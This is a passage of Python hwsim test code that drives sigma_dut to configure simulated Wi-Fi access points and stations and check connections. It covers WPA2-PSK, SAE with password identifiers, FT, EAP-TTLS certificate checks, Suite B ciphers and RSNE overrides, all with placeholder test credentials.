params['ft_over_ds'] = '1' if over_ds else '0'
bssid = apdev[0]['bssid'].replace(':', '')
params['nas_identifier'] = bssid + '.nas.example.com'
params['r1_key_holder'] = bssid
params['pmk_r1_push'] = '0'
params['r0kh'] = 'ff:ff:ff:ff:ff:ff * 00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff'
params['r1kh'] = '00:00:00:00:00:00 00:00:00:00:00:00 00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff'
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_reset_default,interface,%s" % ifname)
if over_ds:
sigma_dut_cmd_check("sta_preset_testparameters,interface,%s,FT_DS,Enable" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,passphrase,%s,type,SAE,encpType,aes-ccmp,AKMSuiteType,8;9,PasswordID,id2" % (ifname, "test-sae", "pw2"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-sae"),
timeout=10)
sigma_dut_wait_connected(ifname)
bssid = apdev[1]['bssid'].replace(':', '')
params['nas_identifier'] = bssid + '.nas.example.com'
params['r1_key_holder'] = bssid
hapd2 = hostapd.add_ap(apdev[1], params)
bssid = hapd2.own_addr()
sigma_dut_cmd_check("sta_reassoc,interface,%s,Channel,1,bssid,%s" % (ifname, bssid))
dev[0].wait_connected()
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
@reset_ignore_old_scan_res
def test_sigma_dut_sta_override_rsne(dev, apdev):
"""sigma_dut and RSNE override on STA"""
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname)
try:
ssid = "test-psk"
params = hostapd.wpa2_params(ssid=ssid, passphrase="12345678")
hapd = hostapd.add_ap(apdev[0], params)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
tests = ["30120100000fac040100000fac040100000fac02",
"30140100000fac040100000fac040100000fac02ffff"]
for test in tests:
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,type,PSK,passphrase,%s,EncpType,aes-ccmp,KeyMgmtType,wpa2" % (ifname, "test-psk", "12345678"))
sigma_dut_cmd_check("dev_configure_ie,interface,%s,IE_Name,RSNE,Contents,%s" % (ifname, test))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-psk"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
dev[0].dump_monitor()
sigma_dut_cmd_check("sta_set_security,interface,%s,ssid,%s,type,PSK,passphrase,%s,EncpType,aes-ccmp,KeyMgmtType,wpa2" % (ifname, "test-psk", "12345678"))
sigma_dut_cmd_check("dev_configure_ie,interface,%s,IE_Name,RSNE,Contents,300101" % ifname)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-psk"),
timeout=10)
ev = dev[0].wait_event(["CTRL-EVENT-ASSOC-REJECT"])
if ev is None:
raise Exception("Association rejection not reported")
if "status_code=40" not in ev:
raise Exception("Unexpected status code: " + ev)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_psk(dev, apdev):
"""sigma_dut controlled AP"""
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-psk,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-PSK,PSK,12345678")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("test-psk", psk="12345678", scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_pskhex(dev, apdev, params):
"""sigma_dut controlled AP and PSKHEX"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_pskhex.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
psk = "0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-psk,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-PSK,PSKHEX," + psk)
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("test-psk", raw_psk=psk, scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_psk_sha256(dev, apdev, params):
"""sigma_dut controlled AP PSK SHA256"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_psk_sha256.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-psk,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-PSK-256,PSK,12345678")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("test-psk", key_mgmt="WPA-PSK-SHA256",
psk="12345678", scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_psk_deauth(dev, apdev, params):
"""sigma_dut controlled AP and deauth commands"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_psk_deauth.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-psk,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-PSK,PSK,12345678,PMF,Required")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("test-psk", key_mgmt="WPA-PSK-SHA256",
psk="12345678", ieee80211w="2", scan_freq="2412")
addr = dev[0].own_addr()
dev[0].dump_monitor()
sigma_dut_cmd_check("ap_deauth_sta,NAME,AP,sta_mac_address," + addr)
ev = dev[0].wait_disconnected()
dev[0].dump_monitor()
if "locally_generated=1" in ev:
raise Exception("Unexpected disconnection reason")
dev[0].wait_connected()
dev[0].dump_monitor()
sigma_dut_cmd_check("ap_deauth_sta,NAME,AP,sta_mac_address," + addr + ",disconnect,silent")
ev = dev[0].wait_event(["CTRL-EVENT-DISCONNECTED"], timeout=5)
if ev and "locally_generated=1" not in ev:
raise Exception("Unexpected disconnection")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_eap_ttls(dev, apdev, params):
"""sigma_dut controlled STA and EAP-TTLS parameters"""
check_domain_match(dev[0])
logdir = params['logdir']
with open("auth_serv/ca.pem", "r") as f:
with open(os.path.join(logdir, "sigma_dut_eap_ttls.ca.pem"), "w") as f2:
f2.write(f.read())
src = "auth_serv/server.pem"
dst = os.path.join(logdir, "sigma_dut_eap_ttls.server.der")
hashdst = os.path.join(logdir, "sigma_dut_eap_ttls.server.pem.sha256")
subprocess.check_call(["openssl", "x509", "-in", src, "-out", dst,
"-outform", "DER"],
stderr=open('/dev/null', 'w'))
with open(dst, "rb") as f:
der = f.read()
hash = hashlib.sha256(der).digest()
with open(hashdst, "w") as f:
f.write(binascii.hexlify(hash).decode())
dst = os.path.join(logdir, "sigma_dut_eap_ttls.incorrect.pem.sha256")
with open(dst, "w") as f:
f.write(32*"00")
ssid = "test-wpa2-eap"
params = hostapd.wpa2_eap_params(ssid=ssid)
hapd = hostapd.add_ap(apdev[0], params)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, cert_path=logdir)
cmd = "sta_set_security,type,eapttls,interface,%s,ssid,%s,keymgmttype,wpa2,encType,AES-CCMP,PairwiseCipher,AES-CCMP-128,trustedRootCA,sigma_dut_eap_ttls.ca.pem,username,DOMAIN\mschapv2 user,password,password" % (ifname, ssid)
try:
tests = ["",
",Domain,server.w1.fi",
",DomainSuffix,w1.fi",
",DomainSuffix,server.w1.fi",
",ServerCert,sigma_dut_eap_ttls.server.pem"]
for extra in tests:
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check(cmd + extra)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, ssid),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
dev[0].dump_monitor()
tests = [",Domain,w1.fi",
",DomainSuffix,example.com",
",ServerCert,sigma_dut_eap_ttls.incorrect.pem"]
for extra in tests:
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,WPA3" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check(cmd + extra)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, ssid),
timeout=10)
ev = dev[0].wait_event(["CTRL-EVENT-EAP-TLS-CERT-ERROR"], timeout=10)
if ev is None:
raise Exception("Server certificate error not reported")
res = sigma_dut_cmd("sta_is_connected,interface," + ifname)
if "connected,1" in res:
raise Exception("Unexpected connection reported")
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
dev[0].dump_monitor()
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_suite_b(dev, apdev, params):
"""sigma_dut controlled STA Suite B"""
check_suite_b_192_capa(dev)
logdir = params['logdir']
with open("auth_serv/ec2-ca.pem", "r") as f:
with open(os.path.join(logdir, "suite_b_ca.pem"), "w") as f2:
f2.write(f.read())
with open("auth_serv/ec2-user.pem", "r") as f:
with open("auth_serv/ec2-user.key", "r") as f2:
with open(os.path.join(logdir, "suite_b.pem"), "w") as f3:
f3.write(f.read())
f3.write(f2.read())
dev[0].flush_scan_cache()
params = suite_b_as_params()
params['ca_cert'] = 'auth_serv/ec2-ca.pem'
params['server_cert'] = 'auth_serv/ec2-server.pem'
params['private_key'] = 'auth_serv/ec2-server.key'
params['openssl_ciphers'] = 'SUITEB192'
hostapd.add_ap(apdev[1], params)
params = {"ssid": "test-suite-b",
"wpa": "2",
"wpa_key_mgmt": "WPA-EAP-SUITE-B-192",
"rsn_pairwise": "GCMP-256",
"group_mgmt_cipher": "BIP-GMAC-256",
"ieee80211w": "2",
"ieee8021x": "1",
'auth_server_addr': "127.0.0.1",
'auth_server_port': "18129",
'auth_server_shared_secret': "radius",
'nas_identifier': "nas.w1.fi"}
hapd = hostapd.add_ap(apdev[0], params)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, cert_path=logdir)
try:
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,PMF" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check("sta_set_security,type,eaptls,interface,%s,ssid,%s,PairwiseCipher,AES-GCMP-256,GroupCipher,AES-GCMP-256,GroupMgntCipher,BIP-GMAC-256,keymgmttype,SuiteB,clientCertificate,suite_b.pem,trustedRootCA,suite_b_ca.pem,CertType,ECC" % (ifname, "test-suite-b"))
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-suite-b"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_suite_b_rsa(dev, apdev, params):
"""sigma_dut controlled STA Suite B (RSA)"""
check_suite_b_192_capa(dev)
logdir = params['logdir']
with open("auth_serv/rsa3072-ca.pem", "r") as f:
with open(os.path.join(logdir, "suite_b_ca_rsa.pem"), "w") as f2:
f2.write(f.read())
with open("auth_serv/rsa3072-user.pem", "r") as f:
with open("auth_serv/rsa3072-user.key", "r") as f2:
with open(os.path.join(logdir, "suite_b_rsa.pem"), "w") as f3:
f3.write(f.read())
f3.write(f2.read())
dev[0].flush_scan_cache()
params = suite_b_192_rsa_ap_params()
hapd = hostapd.add_ap(apdev[0], params)
ifname = dev[0].ifname
sigma = start_sigma_dut(ifname, cert_path=logdir)
cmd = "sta_set_security,type,eaptls,interface,%s,ssid,%s,PairwiseCipher,AES-GCMP-256,GroupCipher,AES-GCMP-256,GroupMgntCipher,BIP-GMAC-256,keymgmttype,SuiteB,clientCertificate,suite_b_rsa.pem,trustedRootCA,suite_b_ca_rsa.pem,CertType,RSA" % (ifname, "test-suite-b")
try:
tests = ["",
",TLSCipher,TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384",
",TLSCipher,TLS_DHE_RSA_WITH_AES_256_GCM_SHA384"]
for extra in tests:
sigma_dut_cmd_check("sta_reset_default,interface,%s,prog,PMF" % ifname)
sigma_dut_cmd_check("sta_set_ip_config,interface,%s,dhcp,0,ip,127.0.0.11,mask,255.255.255.0" % ifname)
sigma_dut_cmd_check(cmd + extra)
sigma_dut_cmd_check("sta_associate,interface,%s,ssid,%s,channel,1" % (ifname, "test-suite-b"),
timeout=10)
sigma_dut_wait_connected(ifname)
sigma_dut_cmd_check("sta_get_ip_config,interface," + ifname)
sigma_dut_cmd_check("sta_disconnect,interface," + ifname)
sigma_dut_cmd_check("sta_reset_default,interface," + ifname)
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_suite_b(dev, apdev, params):
"""sigma_dut controlled AP Suite B"""
check_suite_b_192_capa(dev)
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_suite_b.sigma-hostapd")
params = suite_b_as_params()
params['ca_cert'] = 'auth_serv/ec2-ca.pem'
params['server_cert'] = 'auth_serv/ec2-server.pem'
params['private_key'] = 'auth_serv/ec2-server.key'
params['openssl_ciphers'] = 'SUITEB192'
hostapd.add_ap(apdev[1], params)
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-suite-b,MODE,11ng")
sigma_dut_cmd_check("ap_set_radius,NAME,AP,IPADDR,127.0.0.1,PORT,18129,PASSWORD,radius")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,SuiteB")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("test-suite-b", key_mgmt="WPA-EAP-SUITE-B-192",
ieee80211w="2",
openssl_ciphers="SUITEB192",
eap="TLS", identity="tls user",
ca_cert="auth_serv/ec2-ca.pem",
client_cert="auth_serv/ec2-user.pem",
private_key="auth_serv/ec2-user.key",
pairwise="GCMP-256", group="GCMP-256",
scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_cipher_gcmp_128(dev, apdev, params):
"""sigma_dut controlled AP with GCMP-128/BIP-GMAC-128 cipher"""
run_sigma_dut_ap_cipher(dev, apdev, params, "AES-GCMP-128", "BIP-GMAC-128",
"GCMP")
def test_sigma_dut_ap_cipher_gcmp_256(dev, apdev, params):
"""sigma_dut controlled AP with GCMP-256/BIP-GMAC-256 cipher"""
run_sigma_dut_ap_cipher(dev, apdev, params, "AES-GCMP-256", "BIP-GMAC-256",
"GCMP-256")
def test_sigma_dut_ap_cipher_ccmp_128(dev, apdev, params):
"""sigma_dut controlled AP with CCMP-128/BIP-CMAC-128 cipher"""
run_sigma_dut_ap_cipher(dev, apdev, params, "AES-CCMP-128", "BIP-CMAC-128",
"CCMP")
def test_sigma_dut_ap_cipher_ccmp_256(dev, apdev, params):
"""sigma_dut controlled AP with CCMP-256/BIP-CMAC-256 cipher"""
run_sigma_dut_ap_cipher(dev, apdev, params, "AES-CCMP-256", "BIP-CMAC-256",
"CCMP-256")
def test_sigma_dut_ap_cipher_ccmp_gcmp_1(dev, apdev, params):
"""sigma_dut controlled AP with CCMP-128+GCMP-256 ciphers (1)"""
run_sigma_dut_ap_cipher(dev, apdev, params, "AES-CCMP-128 AES-GCMP-256",
"BIP-GMAC-256", "CCMP")
def test_sigma_dut_ap_cipher_ccmp_gcmp_2(dev, apdev, params):
"""sigma_dut controlled AP with CCMP-128+GCMP-256 ciphers (2)"""
run_sigma_dut_ap_cipher(dev, apdev, params, "AES-CCMP-128 AES-GCMP-256",
"BIP-GMAC-256", "GCMP-256", "CCMP")
def test_sigma_dut_ap_cipher_gcmp_256_group_ccmp(dev, apdev, params):
"""sigma_dut controlled AP with GCMP-256/CCMP/BIP-GMAC-256 cipher"""
run_sigma_dut_ap_cipher(dev, apdev, params, "AES-GCMP-256", "BIP-GMAC-256",
"GCMP-256", "CCMP", "AES-CCMP-128")
def run_sigma_dut_ap_cipher(dev, apdev, params, ap_pairwise, ap_group_mgmt,
sta_cipher, sta_cipher_group=None, ap_group=None):
check_suite_b_192_capa(dev)
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_cipher.sigma-hostapd")
params = suite_b_as_params()
params['ca_cert'] = 'auth_serv/ec2-ca.pem'
params['server_cert'] = 'auth_serv/ec2-server.pem'
params['private_key'] = 'auth_serv/ec2-server.key'
params['openssl_ciphers'] = 'SUITEB192'
hostapd.add_ap(apdev[1], params)
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-suite-b,MODE,11ng")
sigma_dut_cmd_check("ap_set_radius,NAME,AP,IPADDR,127.0.0.1,PORT,18129,PASSWORD,radius")
cmd = "ap_set_security,NAME,AP,KEYMGNT,SuiteB,PMF,Required,PairwiseCipher,%s,GroupMgntCipher,%s" % (ap_pairwise, ap_group_mgmt)
if ap_group:
cmd += ",GroupCipher,%s" % ap_group
sigma_dut_cmd_check(cmd)
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
if sta_cipher_group is None:
sta_cipher_group = sta_cipher
dev[0].connect("test-suite-b", key_mgmt="WPA-EAP-SUITE-B-192",
ieee80211w="2",
openssl_ciphers="SUITEB192",
eap="TLS", identity="tls user",
ca_cert="auth_serv/ec2-ca.pem",
client_cert="auth_serv/ec2-user.pem",
private_key="auth_serv/ec2-user.key",
pairwise=sta_cipher, group=sta_cipher_group,
scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_override_rsne(dev, apdev):
"""sigma_dut controlled AP overriding RSNE"""
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-psk,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-PSK,PSK,12345678")
sigma_dut_cmd_check("dev_configure_ie,NAME,AP,interface,%s,IE_Name,RSNE,Contents,30180100000fac040200ffffffff000fac040100000fac020c00" % iface)
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].connect("test-psk", psk="12345678", scan_freq="2412")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_sae(dev, apdev, params):
"""sigma_dut controlled AP with SAE"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae.sigma-hostapd")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK,12345678")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].request("SET sae_groups ")
id = dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412")
if dev[0].get_status_field('sae_group') != '19':
raise Exception("Expected default SAE group not used")
res = sigma_dut_cmd_check("ap_get_parameter,name,AP,STA_MAC_Address,%s,Parameter,PMK" % dev[0].own_addr())
logger.info("Reported PMK: " + res)
if ",PMK," not in res:
raise Exception("PMK not reported");
if dev[0].get_pmk(id) != res.split(',')[3]:
raise Exception("Mismatch in reported PMK")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_sae_confirm_immediate(dev, apdev, params):
"""sigma_dut controlled AP with SAE Confirm immediate"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae_confirm_immediate.sigma-hostapd")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK,12345678,SAE_Confirm_Immediate,enable")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].request("SET sae_groups ")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412")
if dev[0].get_status_field('sae_group') != '19':
raise Exception("Expected default SAE group not used")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_sae_password(dev, apdev, params):
"""sigma_dut controlled AP with SAE and long password"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae_password.sigma-hostapd")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK," + 100*'C')
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].request("SET sae_groups ")
dev[0].connect("test-sae", key_mgmt="SAE", sae_password=100*'C',
ieee80211w="2", scan_freq="2412")
if dev[0].get_status_field('sae_group') != '19':
raise Exception("Expected default SAE group not used")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_sae_pw_id(dev, apdev, params):
"""sigma_dut controlled AP with SAE Password Identifier"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae_pw_id.sigma-hostapd")
conffile = os.path.join(params['logdir'],
"sigma_dut_ap_sae_pw_id.sigma-conf")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,AKMSuiteType,8,SAEPasswords,pw1:id1;pw2:id2;pw3;pw4:id4,PMF,Required")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
with open("/tmp/sigma_dut-ap.conf", "rb") as f:
with open(conffile, "wb") as f2:
f2.write(f.read())
dev[0].request("SET sae_groups ")
tests = [("pw1", "id1"),
("pw2", "id2"),
("pw3", None),
("pw4", "id4")]
for pw, pw_id in tests:
dev[0].connect("test-sae", key_mgmt="SAE", sae_password=pw,
sae_password_id=pw_id,
ieee80211w="2", scan_freq="2412")
dev[0].request("REMOVE_NETWORK all")
dev[0].wait_disconnected()
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_sae_pw_id_pwe_loop(dev, apdev, params):
"""sigma_dut controlled AP with SAE Password Identifier and forced PWE looping"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae_pw_id_pwe_loop.sigma-hostapd")
conffile = os.path.join(params['logdir'],
"sigma_dut_ap_sae_pw_id_pwe_loop.sigma-conf")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,AKMSuiteType,8,SAEPasswords,12345678:pwid,PMF,Required,sae_pwe,looping")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
with open("/tmp/sigma_dut-ap.conf", "rb") as f:
with open(conffile, "wb") as f2:
f2.write(f.read())
dev[0].set("sae_groups", "")
dev[0].connect("test-sae", key_mgmt="SAE", sae_password="12345678",
sae_password_id="pwid",
ieee80211w="2", scan_freq="2412", wait_connect=False)
ev = dev[0].wait_event(["CTRL-EVENT-NETWORK-NOT-FOUND",
"CTRL-EVENT-CONNECTED"], timeout=10)
if ev is None:
raise Exception("Network selection result not indicated")
if "CTRL-EVENT-CONNECTED" in ev:
raise Exception("Unexpected connection")
dev[0].request("REMOVE_NETWORK all")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_sae_pw_id_ft(dev, apdev, params):
"""sigma_dut controlled AP with SAE Password Identifier and FT"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae_pw_id_ft.sigma-hostapd")
conffile = os.path.join(params['logdir'],
"sigma_dut_ap_sae_pw_id_ft.sigma-conf")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng,DOMAIN,aabb")
sigma_dut_cmd_check("ap_set_security,NAME,AP,AKMSuiteType,8;9,SAEPasswords,pw1:id1;pw2:id2;pw3;pw4:id4,PMF,Required")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
with open("/tmp/sigma_dut-ap.conf", "rb") as f:
with open(conffile, "wb") as f2:
f2.write(f.read())
dev[0].request("SET sae_groups ")
tests = [("pw1", "id1", "SAE"),
("pw2", "id2", "FT-SAE"),
("pw3", None, "FT-SAE"),
("pw4", "id4", "SAE")]
for pw, pw_id, key_mgmt in tests:
dev[0].connect("test-sae", key_mgmt=key_mgmt, sae_password=pw,
sae_password_id=pw_id,
ieee80211w="2", scan_freq="2412")
dev[0].request("REMOVE_NETWORK all")
dev[0].wait_disconnected()
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_sae_group(dev, apdev, params):
"""sigma_dut controlled AP with SAE and specific group"""
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_sae_group.sigma-hostapd")
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-SAE,PSK,12345678,ECGroupID,20")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[0].request("SET sae_groups ")
dev[0].connect("test-sae", key_mgmt="SAE", psk="12345678",
ieee80211w="2", scan_freq="2412")
if dev[0].get_status_field('sae_group') != '20':
raise Exception("Expected SAE group not used")
sigma_dut_cmd_check("ap_reset_default")
finally:
stop_sigma_dut(sigma)
def test_sigma_dut_ap_psk_sae(dev, apdev, params):
"""sigma_dut controlled AP with PSK+SAE"""
if "SAE" not in dev[0].get_capability("auth_alg"):
raise HwsimSkip("SAE not supported")
logdir = os.path.join(params['logdir'],
"sigma_dut_ap_psk_sae.sigma-hostapd")
with HWSimRadio() as (radio, iface):
sigma = start_sigma_dut(iface, hostapd_logdir=logdir)
try:
sigma_dut_cmd_check("ap_reset_default")
sigma_dut_cmd_check("ap_set_wireless,NAME,AP,CHANNEL,1,SSID,test-sae,MODE,11ng")
sigma_dut_cmd_check("ap_set_security,NAME,AP,KEYMGNT,WPA2-PSK-SAE,PSK,12345678")
sigma_dut_cmd_check("ap_config_commit,NAME,AP")
dev[2].request("SET sae_groups ")
dev[2].connect("test-sae", key_mgmt="SAE", psk="12345678",
